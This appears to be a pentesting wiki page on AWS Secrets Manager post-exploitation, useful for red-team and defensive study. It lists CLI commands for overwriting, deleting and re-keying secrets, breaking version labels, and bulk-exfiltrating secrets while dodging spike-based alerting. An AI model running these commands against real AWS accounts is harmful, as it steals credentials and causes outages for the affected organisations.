# AWS - Secrets Manager Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## Secrets Manager

For more information check:

{{#ref}}
../../aws-services/aws-secrets-manager-enum.md
{{#endref}}

### Read Secrets

The **secrets themself are sensitive information**, [check the privesc page](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) to learn how to read them.

### DoS Change Secret Value

Changing the value of the secret you could **DoS all the system that depends on that value.**

> [!WARNING]
> Note that previous values are also stored, so it's easy to just go back to the previous value.

```bash
# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
    --secret-id MyTestSecret \
    --secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
```

### DoS Change KMS key

If the attacker has the secretsmanager:UpdateSecret permission, they can configure the secret to use a KMS key owned by the attacker. That key is initially set up in such a way that anyone can access and use it, so updating the secret with the new key is possible. If the key was not accessible, the secret could not be updated.

After changing the key for the secret, the attacker modifies the configuration of their key so that only they can access it. This way, in the subsequent versions of the secret, it will be encrypted with the new key, and since there is no access to it, the ability to retrieve the secret would be lost.

It is important to note that this inaccessibility will only occur in later versions, after the content of the secret changes, since the current version is still encrypted with the original KMS key.

```bash
aws secretsmanager update-secret \
    --secret-id MyTestSecret \
    --kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
```

### DoS Deleting Secret

The minimum number of days to delete a secret are 7

```bash
aws secretsmanager delete-secret \
    --secret-id MyTestSecret \
    --recovery-window-in-days 7
```

## secretsmanager:RestoreSecret

It is possible to restore a secret, which allows the restoration of secrets that have been scheduled for deletion, since the minimum deletion period for secrets is 7 days and the maximum is 30 days. Together with the secretsmanager:GetSecretValue permission, this makes it possible to retrieve their contents.

To recover a secret that is in the process of being deleted, you can use the following command:
```bash
aws secretsmanager restore-secret \
  --secret-id <Secret_Name>
```

## secretsmanager:DeleteResourcePolicy

This action allows deleting the resource policy that controls who can access a secret. This could lead to a DoS if the resource policy was configured to allow access to a specific set of users.

To delete the resource policy:
```bash
aws secretsmanager delete-resource-policy \
  --secret-id <Secret_Name>
```

## secretsmanager:UpdateSecretVersionStage

The states of a secret are used to manage versions of a secret. AWSCURRENT marks the active version that applications use, AWSPREVIOUS keeps the previous version so that you can roll back if necessary, and AWSPENDING is used in the rotation process to prepare and validate a new version before making it the current one.

Applications always read the version with AWSCURRENT. If someone moves that label to the wrong version, the apps will use invalid credentials and may fail.

AWSPREVIOUS is not used automatically. However, if AWSCURRENT is removed or reassigned incorrectly, it may appear that everything is still running with the previous version.

```bash
aws secretsmanager update-secret-version-stage \
  --secret-id <your-secret-name-or-arn> \
  --version-stage AWSCURRENT \
  --move-to-version-id <target-version-id> \
  --remove-from-version-id <previous-version-id>
```







### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)

Abuse the Secrets Manager BatchGetSecretValue API to retrieve up to 20 secrets in a single request. This can dramatically reduce API-call volume compared to iterating GetSecretValue per secret. If filters are used (tags/name), ListSecrets permission is also required. CloudTrail still records one GetSecretValue event per secret retrieved in the batch.

Required permissions
- secretsmanager:BatchGetSecretValue
- secretsmanager:GetSecretValue for each target secret
- secretsmanager:ListSecrets if using --filters
- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)

> [!WARNING]
> Note that the permission `secretsmanager:BatchGetSecretValue` is not included enough to retrieve secrets, you also need `secretsmanager:GetSecretValue` for each secret you want to retrieve.

Exfiltrate by explicit list
```bash
aws secretsmanager batch-get-secret-value \
  --secret-id-list <secret1> <secret2> <secret3> \
  --query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
```

Exfiltrate by filters (tag key/value or name prefix)
```bash
# By tag key
aws secretsmanager batch-get-secret-value \
  --filters Key=tag-key,Values=env \
  --max-results 20 \
  --query 'SecretValues[].{Name:Name,Val:SecretString}'

# By tag value
aws secretsmanager batch-get-secret-value \
  --filters Key=tag-value,Values=prod \
  --max-results 20

# By name prefix
aws secretsmanager batch-get-secret-value \
  --filters Key=name,Values=MyApp
```

Handling partial failures
```bash
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
```

Impact
- Rapid “smash-and-grab” of many secrets with fewer API calls, potentially bypassing alerting tuned to spikes of GetSecretValue.
- CloudTrail logs still include one GetSecretValue event per secret retrieved by the batch.
{{#include ../../../../banners/hacktricks-training.md}}
